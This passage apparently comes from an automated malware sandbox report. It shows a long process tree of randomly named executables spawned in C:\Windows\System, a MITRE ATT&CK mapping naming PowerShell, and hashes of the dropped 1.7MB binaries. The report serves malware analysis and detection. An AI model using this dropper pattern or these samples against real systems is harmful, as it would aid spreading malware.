  C:\Windows\System\LMLhUTw.exe
  2⤵
  PID:9328
- C:\Windows\System\CdxcxgZ.exe
  C:\Windows\System\CdxcxgZ.exe
  2⤵
  PID:9344
- C:\Windows\System\nqmeNBC.exe
  C:\Windows\System\nqmeNBC.exe
  2⤵
  PID:9360
- C:\Windows\System\eDRaitL.exe
  C:\Windows\System\eDRaitL.exe
  2⤵
  PID:9376
- C:\Windows\System\JdeiGIC.exe
  C:\Windows\System\JdeiGIC.exe
  2⤵
  PID:9392
- C:\Windows\System\PBuXIUi.exe
  C:\Windows\System\PBuXIUi.exe
  2⤵
  PID:9408
- C:\Windows\System\pJCEAYD.exe
  C:\Windows\System\pJCEAYD.exe
  2⤵
  PID:9424
- C:\Windows\System\zuUnjit.exe
  C:\Windows\System\zuUnjit.exe
  2⤵
  PID:9440
- C:\Windows\System\DrHIMOQ.exe
  C:\Windows\System\DrHIMOQ.exe
  2⤵
  PID:9456
- C:\Windows\System\JZTJTZl.exe
  C:\Windows\System\JZTJTZl.exe
  2⤵
  PID:9472
- C:\Windows\System\iinswkV.exe
  C:\Windows\System\iinswkV.exe
  2⤵
  PID:9488
- C:\Windows\System\iRNHdkS.exe
  C:\Windows\System\iRNHdkS.exe
  2⤵
  PID:9504
- C:\Windows\System\CRsEsCA.exe
  C:\Windows\System\CRsEsCA.exe
  2⤵
  PID:9520
- C:\Windows\System\rFuzfZx.exe
  C:\Windows\System\rFuzfZx.exe
  2⤵
  PID:9536
- C:\Windows\System\naZHKeK.exe
  C:\Windows\System\naZHKeK.exe
  2⤵
  PID:9552
- C:\Windows\System\eEkkhnW.exe
  C:\Windows\System\eEkkhnW.exe
  2⤵
  PID:9568
- C:\Windows\System\mgvvzip.exe
  C:\Windows\System\mgvvzip.exe
  2⤵
  PID:9584
- C:\Windows\System\MWXFFtI.exe
  C:\Windows\System\MWXFFtI.exe
  2⤵
  PID:9600
- C:\Windows\System\sutHLzz.exe
  C:\Windows\System\sutHLzz.exe
  2⤵
  PID:9616
- C:\Windows\System\QjRQZxT.exe
  C:\Windows\System\QjRQZxT.exe
  2⤵
  PID:9632
- C:\Windows\System\qznmKuN.exe
  C:\Windows\System\qznmKuN.exe
  2⤵
  PID:9648
- C:\Windows\System\oVJuvTh.exe
  C:\Windows\System\oVJuvTh.exe
  2⤵
  PID:9664
- C:\Windows\System\qtpmoBL.exe
  C:\Windows\System\qtpmoBL.exe
  2⤵
  PID:9680
- C:\Windows\System\MnPtiTH.exe
  C:\Windows\System\MnPtiTH.exe
  2⤵
  PID:9696
- C:\Windows\System\EIwZoNw.exe
  C:\Windows\System\EIwZoNw.exe
  2⤵
  PID:9712
- C:\Windows\System\pCtEuxQ.exe
  C:\Windows\System\pCtEuxQ.exe
  2⤵
  PID:9728
- C:\Windows\System\MOqvsRA.exe
  C:\Windows\System\MOqvsRA.exe
  2⤵
  PID:9744
- C:\Windows\System\UFddoVg.exe
  C:\Windows\System\UFddoVg.exe
  2⤵
  PID:9760
- C:\Windows\System\TcpTJzJ.exe
  C:\Windows\System\TcpTJzJ.exe
  2⤵
  PID:9776
- C:\Windows\System\TvCZKND.exe
  C:\Windows\System\TvCZKND.exe
  2⤵
  PID:9792
- C:\Windows\System\HzgXxgT.exe
  C:\Windows\System\HzgXxgT.exe
  2⤵
  PID:9808
- C:\Windows\System\CCpzTVh.exe
  C:\Windows\System\CCpzTVh.exe
  2⤵
  PID:9824
- C:\Windows\System\orphgTl.exe
  C:\Windows\System\orphgTl.exe
  2⤵
  PID:9840
- C:\Windows\System\inJHHac.exe
  C:\Windows\System\inJHHac.exe
  2⤵
  PID:9856
- C:\Windows\System\lnwgNSf.exe
  C:\Windows\System\lnwgNSf.exe
  2⤵
  PID:9872
- C:\Windows\System\peiaQWm.exe
  C:\Windows\System\peiaQWm.exe
  2⤵
  PID:9888
- C:\Windows\System\mqhWShV.exe
  C:\Windows\System\mqhWShV.exe
  2⤵
  PID:9904
- C:\Windows\System\bmRVHZK.exe
  C:\Windows\System\bmRVHZK.exe
  2⤵
  PID:9920
- C:\Windows\System\twAzzsv.exe
  C:\Windows\System\twAzzsv.exe
  2⤵
  PID:9936
- C:\Windows\System\pTXQrkX.exe
  C:\Windows\System\pTXQrkX.exe
  2⤵
  PID:9952
- C:\Windows\System\VYJahEE.exe
  C:\Windows\System\VYJahEE.exe
  2⤵
  PID:9968
- C:\Windows\System\knoTKKb.exe
  C:\Windows\System\knoTKKb.exe
  2⤵
  PID:9996
- C:\Windows\System\wOkzhOe.exe
  C:\Windows\System\wOkzhOe.exe
  2⤵
  PID:10024
- C:\Windows\System\oxCfYMk.exe
  C:\Windows\System\oxCfYMk.exe
  2⤵
  PID:10120
- C:\Windows\System\efqhjXD.exe
  C:\Windows\System\efqhjXD.exe
  2⤵
  PID:10160
- C:\Windows\System\aMdsTOl.exe
  C:\Windows\System\aMdsTOl.exe
  2⤵
  PID:10176
- C:\Windows\System\LWCberT.exe
  C:\Windows\System\LWCberT.exe
  2⤵
  PID:10196
- C:\Windows\System\bssaxHj.exe
  C:\Windows\System\bssaxHj.exe
  2⤵
  PID:10212
- C:\Windows\System\OkpjMHc.exe
  C:\Windows\System\OkpjMHc.exe
  2⤵
  PID:10228
- C:\Windows\System\GMbajbL.exe
  C:\Windows\System\GMbajbL.exe
  2⤵
  PID:7368
- C:\Windows\System\xyNQbmI.exe
  C:\Windows\System\xyNQbmI.exe
  2⤵
  PID:9260
- C:\Windows\System\gbvIJKl.exe
  C:\Windows\System\gbvIJKl.exe
  2⤵
  PID:9320
- C:\Windows\System\tRihIkj.exe
  C:\Windows\System\tRihIkj.exe
  2⤵
  PID:9436
- C:\Windows\System\veeAZBD.exe
  C:\Windows\System\veeAZBD.exe
  2⤵
  PID:9512
- C:\Windows\System\ZIxyLut.exe
  C:\Windows\System\ZIxyLut.exe
  2⤵
  PID:9548
- C:\Windows\System\QzNvBFI.exe
  C:\Windows\System\QzNvBFI.exe
  2⤵
  PID:9612
- C:\Windows\System\eFCfinH.exe
  C:\Windows\System\eFCfinH.exe
  2⤵
  PID:9704
- C:\Windows\System\MqUShgT.exe
  C:\Windows\System\MqUShgT.exe
  2⤵
  PID:9768
- C:\Windows\System\pqrfszt.exe
  C:\Windows\System\pqrfszt.exe
  2⤵
  PID:9832
- C:\Windows\System\mamKwzE.exe
  C:\Windows\System\mamKwzE.exe
  2⤵
  PID:9896
- C:\Windows\System\afxSJIl.exe
  C:\Windows\System\afxSJIl.exe
  2⤵
  PID:9928
- C:\Windows\System\DzmWIHH.exe
  C:\Windows\System\DzmWIHH.exe
  2⤵
  PID:9960
- C:\Windows\System\bPxWHuD.exe
  C:\Windows\System\bPxWHuD.exe
  2⤵
  PID:9884
- C:\Windows\System\xeJnuZy.exe
  C:\Windows\System\xeJnuZy.exe
  2⤵
  PID:9756
- C:\Windows\System\ITUvzPs.exe
  C:\Windows\System\ITUvzPs.exe
  2⤵
  PID:9560
- C:\Windows\System\oaQiHZU.exe
  C:\Windows\System\oaQiHZU.exe
  2⤵
  PID:9624
- C:\Windows\System\dIwYsiQ.exe
  C:\Windows\System\dIwYsiQ.exe
  2⤵
  PID:9692
- C:\Windows\System\UorActK.exe
  C:\Windows\System\UorActK.exe
  2⤵
  PID:9848
- C:\Windows\System\bZscIde.exe
  C:\Windows\System\bZscIde.exe
  2⤵
  PID:9948
- C:\Windows\System\ZMmgaKz.exe
  C:\Windows\System\ZMmgaKz.exe
  2⤵
  PID:9988
- C:\Windows\System\VqzSMkJ.exe
  C:\Windows\System\VqzSMkJ.exe
  2⤵
  PID:10016
- C:\Windows\System\ZCkzYRW.exe
  C:\Windows\System\ZCkzYRW.exe
  2⤵
  PID:10128
- C:\Windows\System\ZBYoufj.exe
  C:\Windows\System\ZBYoufj.exe
  2⤵
  PID:10144
- C:\Windows\System\DfOFmVI.exe
  C:\Windows\System\DfOFmVI.exe
  2⤵
  PID:10184
- C:\Windows\System\zxJfcTu.exe
  C:\Windows\System\zxJfcTu.exe
  2⤵
  PID:10224
- C:\Windows\System\gGmdkzr.exe
  C:\Windows\System\gGmdkzr.exe
  2⤵
  PID:9356
- C:\Windows\System\SbJgpae.exe
  C:\Windows\System\SbJgpae.exe
  2⤵
  PID:9112
- C:\Windows\System\MjvTAqr.exe
  C:\Windows\System\MjvTAqr.exe
  2⤵
  PID:8608
- C:\Windows\System\ielBsAK.exe
  C:\Windows\System\ielBsAK.exe
  2⤵
  PID:9272
- C:\Windows\System\IHMKXVv.exe
  C:\Windows\System\IHMKXVv.exe
  2⤵
  PID:9336
- C:\Windows\System\JfStGjN.exe
  C:\Windows\System\JfStGjN.exe
  2⤵
  PID:8708
- C:\Windows\System\dAVAgla.exe
  C:\Windows\System\dAVAgla.exe
  2⤵
  PID:9308
- C:\Windows\System\GSEalmH.exe
  C:\Windows\System\GSEalmH.exe
  2⤵
  PID:10044
- C:\Windows\System\JXyXwEb.exe
  C:\Windows\System\JXyXwEb.exe
  2⤵
  PID:10104
- C:\Windows\System\FWCqeSM.exe
  C:\Windows\System\FWCqeSM.exe
  2⤵
  PID:10060
- C:\Windows\System\tvElRso.exe
  C:\Windows\System\tvElRso.exe
  2⤵
  PID:10096
- C:\Windows\System\KdcCKZv.exe
  C:\Windows\System\KdcCKZv.exe
  2⤵
  PID:9800
- C:\Windows\System\HJjyOKP.exe
  C:\Windows\System\HJjyOKP.exe
  2⤵
  PID:9468
- C:\Windows\System\IRgieQU.exe
  C:\Windows\System\IRgieQU.exe
  2⤵
  PID:9852
- C:\Windows\System\AzxaMkG.exe
  C:\Windows\System\AzxaMkG.exe
  2⤵
  PID:9944
- C:\Windows\System\InUummL.exe
  C:\Windows\System\InUummL.exe
  2⤵
  PID:10140
- C:\Windows\System\EmXvKak.exe
  C:\Windows\System\EmXvKak.exe
  2⤵
  PID:8980
- C:\Windows\System\kmUtivW.exe
  C:\Windows\System\kmUtivW.exe
  2⤵
  PID:10236
- C:\Windows\System\MFsIqug.exe
  C:\Windows\System\MFsIqug.exe
  2⤵
  PID:8220
- C:\Windows\System\vdfGRRc.exe
  C:\Windows\System\vdfGRRc.exe
  2⤵
  PID:10208
- C:\Windows\System\YmdaHlM.exe
  C:\Windows\System\YmdaHlM.exe
  2⤵
  PID:9292
- C:\Windows\System\VefxhsD.exe
  C:\Windows\System\VefxhsD.exe
  2⤵
  PID:10152
- C:\Windows\System\UENQPNa.exe
  C:\Windows\System\UENQPNa.exe
  2⤵
  PID:9592
- C:\Windows\System\SIHLAaF.exe
  C:\Windows\System\SIHLAaF.exe
  2⤵
  PID:9484
- C:\Windows\System\yWAIpIg.exe
  C:\Windows\System\yWAIpIg.exe
  2⤵
  PID:9864
- C:\Windows\System\jCviknu.exe
  C:\Windows\System\jCviknu.exe
  2⤵
  PID:9720
- C:\Windows\System\hNtwtkx.exe
  C:\Windows\System\hNtwtkx.exe
  2⤵
  PID:9816
- C:\Windows\System\NllvzJq.exe
  C:\Windows\System\NllvzJq.exe
  2⤵
  PID:9352
- C:\Windows\System\KySRIjY.exe
  C:\Windows\System\KySRIjY.exe
  2⤵
  PID:9388
- C:\Windows\System\ysMuKfi.exe
  C:\Windows\System\ysMuKfi.exe
  2⤵
  PID:10088
- C:\Windows\System\ydTINGz.exe
  C:\Windows\System\ydTINGz.exe
  2⤵
  PID:9984
- C:\Windows\System\ybEdfvR.exe
  C:\Windows\System\ybEdfvR.exe
  2⤵
  PID:9672
- C:\Windows\System\rpkwYpa.exe
  C:\Windows\System\rpkwYpa.exe
  2⤵
  PID:9464
- C:\Windows\System\reMVyEL.exe
  C:\Windows\System\reMVyEL.exe
  2⤵
  PID:10108
- C:\Windows\System\KMNZvZS.exe
  C:\Windows\System\KMNZvZS.exe
  2⤵
  PID:9980
- C:\Windows\System\fsoJIpk.exe
  C:\Windows\System\fsoJIpk.exe
  2⤵
  PID:9688
- C:\Windows\System\aDWvtnW.exe
  C:\Windows\System\aDWvtnW.exe
  2⤵
  PID:9644
- C:\Windows\System\VbsbASq.exe
  C:\Windows\System\VbsbASq.exe
  2⤵
  PID:10136
- C:\Windows\System\AvDEkpn.exe
  C:\Windows\System\AvDEkpn.exe
  2⤵
  PID:9340
- C:\Windows\System\OpAZmtF.exe
  C:\Windows\System\OpAZmtF.exe
  2⤵
  PID:9880
- C:\Windows\System\eceTiHI.exe
  C:\Windows\System\eceTiHI.exe
  2⤵
  PID:9452
- C:\Windows\System\WPZKNNn.exe
  C:\Windows\System\WPZKNNn.exe
  2⤵
  PID:9736
- C:\Windows\System\coeJRsE.exe
  C:\Windows\System\coeJRsE.exe
  2⤵
  PID:9240
- C:\Windows\System\IMpcZOq.exe
  C:\Windows\System\IMpcZOq.exe
  2⤵
  PID:9544
- C:\Windows\System\tFlalsF.exe
  C:\Windows\System\tFlalsF.exe
  2⤵
  PID:9304
- C:\Windows\System\pnYEAhi.exe
  C:\Windows\System\pnYEAhi.exe
  2⤵
  PID:9916
- C:\Windows\System\CGzJzzW.exe
  C:\Windows\System\CGzJzzW.exe
  2⤵
  PID:10084
- C:\Windows\System\ywjGkKO.exe
  C:\Windows\System\ywjGkKO.exe
  2⤵
  PID:9404
- C:\Windows\System\qflkgJb.exe
  C:\Windows\System\qflkgJb.exe
  2⤵
  PID:10260
- C:\Windows\System\JCSIAuJ.exe
  C:\Windows\System\JCSIAuJ.exe
  2⤵
  PID:10276
- C:\Windows\System\eTfqwes.exe
  C:\Windows\System\eTfqwes.exe
  2⤵
  PID:10292
- C:\Windows\System\tjOtGek.exe
  C:\Windows\System\tjOtGek.exe
  2⤵
  PID:10308
- C:\Windows\System\kjfIJjf.exe
  C:\Windows\System\kjfIJjf.exe
  2⤵
  PID:10324
- C:\Windows\System\uQfZlxY.exe
  C:\Windows\System\uQfZlxY.exe
  2⤵
  PID:10340
- C:\Windows\System\IgRWgqd.exe
  C:\Windows\System\IgRWgqd.exe
  2⤵
  PID:10356
- C:\Windows\System\IYWQore.exe
  C:\Windows\System\IYWQore.exe
  2⤵
  PID:10372
- C:\Windows\System\fOfLczg.exe
  C:\Windows\System\fOfLczg.exe
  2⤵
  PID:10388
- C:\Windows\System\HICBGuj.exe
  C:\Windows\System\HICBGuj.exe
  2⤵
  PID:10404
- C:\Windows\System\fUXpdVM.exe
  C:\Windows\System\fUXpdVM.exe
  2⤵
  PID:10420
- C:\Windows\System\OPQYSFK.exe
  C:\Windows\System\OPQYSFK.exe
  2⤵
  PID:10436
- C:\Windows\System\AYKVMRj.exe
  C:\Windows\System\AYKVMRj.exe
  2⤵
  PID:10452
- C:\Windows\System\AnigGdR.exe
  C:\Windows\System\AnigGdR.exe
  2⤵
  PID:10472
- C:\Windows\System\MsoQWxM.exe
  C:\Windows\System\MsoQWxM.exe
  2⤵
  PID:10488
- C:\Windows\System\emrAYxf.exe
  C:\Windows\System\emrAYxf.exe
  2⤵
  PID:10504
- C:\Windows\System\vTkNhdz.exe
  C:\Windows\System\vTkNhdz.exe
  2⤵
  PID:10520
- C:\Windows\System\UrRzuJE.exe
  C:\Windows\System\UrRzuJE.exe
  2⤵
  PID:10540
- C:\Windows\System\qoeskwE.exe
  C:\Windows\System\qoeskwE.exe
  2⤵
  PID:10556
- C:\Windows\System\oOHQhRW.exe
  C:\Windows\System\oOHQhRW.exe
  2⤵
  PID:10572
- C:\Windows\System\FrfGKng.exe
  C:\Windows\System\FrfGKng.exe
  2⤵
  PID:10588
- C:\Windows\System\reyLLeg.exe
  C:\Windows\System\reyLLeg.exe
  2⤵
  PID:10604
- C:\Windows\System\AUulkkU.exe
  C:\Windows\System\AUulkkU.exe
  2⤵
  PID:10620
- C:\Windows\System\agLsEuF.exe
  C:\Windows\System\agLsEuF.exe
  2⤵
  PID:10636
- C:\Windows\System\BmAzkMa.exe
  C:\Windows\System\BmAzkMa.exe
  2⤵
  PID:10652
- C:\Windows\System\azRVPnR.exe
  C:\Windows\System\azRVPnR.exe
  2⤵
  PID:10668
- C:\Windows\System\qOBQKTu.exe
  C:\Windows\System\qOBQKTu.exe
  2⤵
  PID:10684
- C:\Windows\System\BZtapBd.exe
  C:\Windows\System\BZtapBd.exe
  2⤵
  PID:10704
- C:\Windows\System\PheSWwU.exe
  C:\Windows\System\PheSWwU.exe
  2⤵
  PID:10724
- C:\Windows\System\ldwXHBu.exe
  C:\Windows\System\ldwXHBu.exe
  2⤵
  PID:10744
- C:\Windows\System\RecSqzh.exe
  C:\Windows\System\RecSqzh.exe
  2⤵
  PID:10764
- C:\Windows\System\XxVZMyW.exe
  C:\Windows\System\XxVZMyW.exe
  2⤵
  PID:10780
- C:\Windows\System\MMSDPIY.exe
  C:\Windows\System\MMSDPIY.exe
  2⤵
  PID:10796
- C:\Windows\System\cuivXaV.exe
  C:\Windows\System\cuivXaV.exe
  2⤵
  PID:10812
- C:\Windows\System\Vmvpxcw.exe
  C:\Windows\System\Vmvpxcw.exe
  2⤵
  PID:10828
- C:\Windows\System\ACSliIV.exe
  C:\Windows\System\ACSliIV.exe
  2⤵
  PID:10844
- C:\Windows\System\MAXDkFE.exe
  C:\Windows\System\MAXDkFE.exe
  2⤵
  PID:10860
- C:\Windows\System\HzDRUPg.exe
  C:\Windows\System\HzDRUPg.exe
  2⤵
  PID:10876
- C:\Windows\System\hHYkSkV.exe
  C:\Windows\System\hHYkSkV.exe
  2⤵
  PID:10892
- C:\Windows\System\MugwvPw.exe
  C:\Windows\System\MugwvPw.exe
  2⤵
  PID:10908
- C:\Windows\System\fRuHEhK.exe
  C:\Windows\System\fRuHEhK.exe
  2⤵
  PID:10924
- C:\Windows\System\WbNMmYb.exe
  C:\Windows\System\WbNMmYb.exe
  2⤵
  PID:10940
- C:\Windows\System\nEfgFVr.exe
  C:\Windows\System\nEfgFVr.exe
  2⤵
  PID:10972
- C:\Windows\System\yqDMWro.exe
  C:\Windows\System\yqDMWro.exe
  2⤵
  PID:10988
- C:\Windows\System\tSIoJGz.exe
  C:\Windows\System\tSIoJGz.exe
  2⤵
  PID:11004
- C:\Windows\System\PEhSpMA.exe
  C:\Windows\System\PEhSpMA.exe
  2⤵
  PID:11020
- C:\Windows\System\NEFEIOw.exe
  C:\Windows\System\NEFEIOw.exe
  2⤵
  PID:11036
- C:\Windows\System\CAPCBXt.exe
  C:\Windows\System\CAPCBXt.exe
  2⤵
  PID:11052
- C:\Windows\System\GOeeHzM.exe
  C:\Windows\System\GOeeHzM.exe
  2⤵
  PID:11068
- C:\Windows\System\GjyalFs.exe
  C:\Windows\System\GjyalFs.exe
  2⤵
  PID:11084
- C:\Windows\System\VMGOWCj.exe
  C:\Windows\System\VMGOWCj.exe
  2⤵
  PID:11100
- C:\Windows\System\zioMYIL.exe
  C:\Windows\System\zioMYIL.exe
  2⤵
  PID:11116
- C:\Windows\System\womriSO.exe
  C:\Windows\System\womriSO.exe
  2⤵
  PID:11132
- C:\Windows\System\DqVIySy.exe
  C:\Windows\System\DqVIySy.exe
  2⤵
  PID:11152
- C:\Windows\System\NraoGxQ.exe
  C:\Windows\System\NraoGxQ.exe
  2⤵
  PID:11168
- C:\Windows\System\FJGIMZg.exe
  C:\Windows\System\FJGIMZg.exe
  2⤵
  PID:11184
- C:\Windows\System\VxXnWWT.exe
  C:\Windows\System\VxXnWWT.exe
  2⤵
  PID:11200
- C:\Windows\System\OGjSCsb.exe
  C:\Windows\System\OGjSCsb.exe
  2⤵
  PID:11216
- C:\Windows\System\NXsHKgU.exe
  C:\Windows\System\NXsHKgU.exe
  2⤵
  PID:11232
- C:\Windows\System\UULSZDK.exe
  C:\Windows\System\UULSZDK.exe
  2⤵
  PID:11248
- C:\Windows\System\NcvfdOW.exe
  C:\Windows\System\NcvfdOW.exe
  2⤵
  PID:9220
- C:\Windows\System\gZntnkx.exe
  C:\Windows\System\gZntnkx.exe
  2⤵
  PID:9580
- C:\Windows\System\ygWLuSt.exe
  C:\Windows\System\ygWLuSt.exe
  2⤵
  PID:10064
- C:\Windows\System\yXqntUQ.exe
  C:\Windows\System\yXqntUQ.exe
  2⤵
  PID:9660
- C:\Windows\System\GsRRmAQ.exe
  C:\Windows\System\GsRRmAQ.exe
  2⤵
  PID:10288
- C:\Windows\System\mSBRXfa.exe
  C:\Windows\System\mSBRXfa.exe
  2⤵
  PID:10336
- C:\Windows\System\JKwbNYf.exe
  C:\Windows\System\JKwbNYf.exe
  2⤵
  PID:10364
- C:\Windows\System\LKcNGvF.exe
  C:\Windows\System\LKcNGvF.exe
  2⤵
  PID:10428
- C:\Windows\System\FVTlPYe.exe
  C:\Windows\System\FVTlPYe.exe
  2⤵
  PID:10496
- C:\Windows\System\kiXMlAO.exe
  C:\Windows\System\kiXMlAO.exe
  2⤵
  PID:10536
- C:\Windows\System\mXuymva.exe
  C:\Windows\System\mXuymva.exe
  2⤵
  PID:10600
- C:\Windows\System\upcPnvK.exe
  C:\Windows\System\upcPnvK.exe
  2⤵
  PID:10660
- C:\Windows\System\azYyyyK.exe
  C:\Windows\System\azYyyyK.exe
  2⤵
  PID:10692
- C:\Windows\System\VHPEnrG.exe
  C:\Windows\System\VHPEnrG.exe
  2⤵
  PID:10444
- C:\Windows\System\BHaXSTc.exe
  C:\Windows\System\BHaXSTc.exe
  2⤵
  PID:10776
- C:\Windows\System\acHfhcl.exe
  C:\Windows\System\acHfhcl.exe
  2⤵
  PID:10872
- C:\Windows\System\HrUOBwi.exe
  C:\Windows\System\HrUOBwi.exe
  2⤵
  PID:10840
- C:\Windows\System\vdNxIda.exe
  C:\Windows\System\vdNxIda.exe
  2⤵
  PID:10480
- C:\Windows\System\iKJxZQx.exe
  C:\Windows\System\iKJxZQx.exe
  2⤵
  PID:10484
- C:\Windows\System\vNgZZru.exe
  C:\Windows\System\vNgZZru.exe
  2⤵
  PID:10916
- C:\Windows\System\jjjVNPy.exe
  C:\Windows\System\jjjVNPy.exe
  2⤵
  PID:10884
- C:\Windows\System\gJoEHUc.exe
  C:\Windows\System\gJoEHUc.exe
  2⤵
  PID:10820
- C:\Windows\System\rmGSOUg.exe
  C:\Windows\System\rmGSOUg.exe
  2⤵
  PID:10752
- C:\Windows\System\SJJTkad.exe
  C:\Windows\System\SJJTkad.exe
  2⤵
  PID:10676
- C:\Windows\System\DMulEtb.exe
  C:\Windows\System\DMulEtb.exe
  2⤵
  PID:10584
- C:\Windows\System\qgryujm.exe
  C:\Windows\System\qgryujm.exe
  2⤵
  PID:10984
- C:\Windows\System\OBbFfeA.exe
  C:\Windows\System\OBbFfeA.exe
  2⤵
  PID:11044
- C:\Windows\System\wINtatV.exe
  C:\Windows\System\wINtatV.exe
  2⤵
  PID:11140
- C:\Windows\System\ahnHHSA.exe
  C:\Windows\System\ahnHHSA.exe
  2⤵
  PID:11208
- C:\Windows\System\URzmsKK.exe
  C:\Windows\System\URzmsKK.exe
  2⤵
  PID:10248
- C:\Windows\System\cjvwVQo.exe
  C:\Windows\System\cjvwVQo.exe
  2⤵
  PID:11164
- C:\Windows\System\dwXnOXr.exe
  C:\Windows\System\dwXnOXr.exe
  2⤵
  PID:11092
- C:\Windows\System\GPQouuK.exe
  C:\Windows\System\GPQouuK.exe
  2⤵
  PID:9784
- C:\Windows\System\SAmBSPM.exe
  C:\Windows\System\SAmBSPM.exe
  2⤵
  PID:11032
- C:\Windows\System\sKyJtpG.exe
  C:\Windows\System\sKyJtpG.exe
  2⤵
  PID:11260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BiJRbmS.exe

Filesize
1.7MB

MD5
cf559fb5eacd7fd00193bacd79af36d5

SHA1
ed8b9eb1ffb1ee055e09cbedb5e31a9f548bbf04

SHA256
463986278d5a93ec72f880631020a0db214fa7391553b97071d30c1d92991c93

SHA512
2c38419a63a5292b288d068909260fcbd7cfa73ed3d068b8df660a6f46d24b504fe681e8c07545cb8658da3897cec02a5a950352c400c84983f6fc4b67e75e43

Download Submit
C:\Windows\system\BzmmIQu.exe

Filesize
1.7MB

MD5
93a14396624f68b3624e45fcc935a984

SHA1
3e50557f0e1d5ecb800135541e06eabcb0d09623

SHA256
31f050c9bcea838635f0e0d96b208b78c9947af5699d42892c56d215f125963c

SHA512
323ceee9ec98be99d8d4f2bbe0077622023551d159791d460ed9c1a915bee28ba32d7c47145c2de74bde12d7723b13345027b3c1668f2664a4038f2b852a6c62

Download Submit
C:\Windows\system\IVpiPEw.exe

Filesize
1.7MB

MD5
7a56f24b66f962e7323b958923ae08ce

SHA1
0fbed598bdbe443c9aa2068df9b711e15478a676

SHA256
ec2da7667654f7eca1d52d23edf6bb208aba791350f0e389837beb5a983f9a76

SHA512
d2e73a4131866f235c530cd312b6d42e777dd220afbc897e61f7956c602754bc16c08ce70ed1caf20cba3178df78910c12c1ff8f7d49695ba90055b3b2efb563

Download Submit
C:\Windows\system\KLniVso.exe

Filesize
1.7MB

MD5
9b224a34fafe113befe649fb6beb4eb3

SHA1
7c0efa33b9e68efedbd33337975a52e746a14fa5

SHA256
58d3d07ff7ac6a4f3e15b0c1fbaa7d37141be36edfd106143faf4684c346835a

SHA512
c4492f5c26dfd29ebba8d8d1e5f876bc9defb345b2d223ad546bedd27518eeee78eae2846ca46ddb33de03e1bacaad1e554b4914f29164c1ac3e46cfa473746d

Download Submit
C:\Windows\system\OJSgNvv.exe

Filesize
1.7MB

MD5
eedfc0335fa9aa62e5f4ecf10bf9d5f5

SHA1
78c7fae080d67ace4e4d7df096eb01311055760d

SHA256
2321f38c42a9abe91365b8967f75442b7e74faabee0d8e4f1915f852ca3c49f7

SHA512
010141d5390188cbdbf5f00c28b2ef91b7ee2c84e8c1bdeb44a28ab2e12c03f1caf3d5118fd17aeac5062a576cd70f1621167dc599caf878294b470cf1b02783

Download Submit
C:\Windows\system\PfAOilF.exe

Filesize
1.7MB

MD5
b21b2a1535e57699e7053d174b246f4c

SHA1
dcc38d958326d02308736aafd82135bfbbc4551c

SHA256
02d22d45968903bfe5be0ee5345af1c8a9cf0097f3b0dfd747ec11f7c745d7fd

SHA512
684ad1ba54c33584aa48c846483cfc494afcf94b544cb6009a4ab73e1e39c6de57cab4ec8782ecdeb43f5ed44896ca0b50c80dc1cacf752f36fae16f96f2f1f4

Download Submit
C:\Windows\system\QrzmDPD.exe

Filesize
1.7MB

MD5
374518852c25cdf3e0ea9c569eb6025f

SHA1
2da0a4ca0b2c89cb6c6b4baee3413e62f22c554c

SHA256
7b0664d0a63a8bb7fd4a0f5be90207b3eebafd7981efafcb4dccf4e56e0946b0

SHA512
a9d35f3bfd5a0c3dff4d523f298b84fa22bfb1b195a3ee4d6f176afc1b062736f589402d54f5964516aca22885772e147da74fe1533c85cb52aeba326630ff1c

Download Submit
C:\Windows\system\SaFDjgl.exe

Filesize
1.7MB

MD5
725f07281922700eabc47b49806e07e5

SHA1
ae0884ac4d51d964b0f8f5929393a1be863a152c

SHA256
70e4ee5a429425828f153f1718a4542360e07aaf7213325d7e90ffdccc75e582

SHA512
20505ed3596e7f4ed74299746e41afc75e57b361e9c88a6b90f0f2a39e24c47c99c7f3d0fb5e4d2ea5711f7b94125af77b9dc1be13684765ad528b28c9c2404e

Download Submit
C:\Windows\system\Ttthpcd.exe

Filesize
1.7MB

MD5
bf5047729dc0a1b5d2c6a637f3fe3a66

SHA1
c0c3e052af64e50849b1a4c514e42580b651926c

SHA256
d56219b87ce85dac6782f9e2066cb008263ae494176b216cc89af4bb1f271311

SHA512
65bd1a19c316729823ffb298cb925b641c7964916b61c5141635d91ac900afc1041700882a33c725ab3bb34130415a8ee5f0cf48c30e42b2b5a6aa0503404d40

Download Submit
C:\Windows\system\YGrWXze.exe

Filesize
1.7MB

MD5
8b8c5852013e67088d9987939a8e6e2c

SHA1
bc071f98aa6e4b06b6224d3b09eae0581b080743

SHA256
2e25642f5d197211c46d1449953ae67ecc63b79a4813a458f1020201e0a5b696

SHA512
468fbe59f1e9803f9a83b53aefdb19e9ca9bbf7229ad9e9b8ef341b306c0f79f4a8e1337b25be7ffb9f2bf16b7d7cf6cd7d77581db816a727ff38af2f0183e58

Download Submit
C:\Windows\system\ZbjVUuZ.exe

Filesize
1.7MB

MD5
f170324e13ca238f358c4fb8dcf9e0d0

SHA1
13151fcdc0bc409240d6825456be3ab84d2fae0a

SHA256
b9dd7364f3bafed1b64d4fafb2174d30500afecaf1485cc12f30f03a1e755cfc

SHA512
d855734426c7e2379d6917b07be33c2e401e687d4a23d9ffd7eba55bb6ec82b6afbae20ef224ad593f0ef4dc7cbce65d296d4f801f352642dbadaa22ff225477

Download Submit
C:\Windows\system\aeAnXus.exe

Filesize
1.7MB

MD5
e335d5e5216fe1f2b47519e8ecf23000

SHA1
0ceec100fc2db2ccf6d020a9c294f156e3bfaf25

SHA256
0ad8218ebbafda9e36401ab6a6ec9be57430a902a1929693ab1de2edb61ce594

SHA512
b1516fec62c9d468144585da3f61b8e6dc8a83f753b3b34d980fec6ade2b6d6bc40c3915f47ad8780aaa0fb95a75f1b307029863d899871bb102de3bbc9fdbe4

Download Submit
C:\Windows\system\bUWXjwp.exe

Filesize
1.7MB

MD5
e3e70a96ef7fe24f9fcb035428ae1002

SHA1
d50e5527551f0b6e2e119eb5a9e251ad2d59b6e4

SHA256
6268165265bdea873548ec427211ab4a3656e29a0b9560d731d76ce09c435104

SHA512
c878512956bf91577d35a4a27f84999315830cd6085ef193f99f488e866ac89507382826a5a3dfb106e7de5773fc7d67044686b52c27ad697108e5ecd49613ff

Download Submit
C:\Windows\system\bxuDaMf.exe

Filesize
1.7MB

MD5
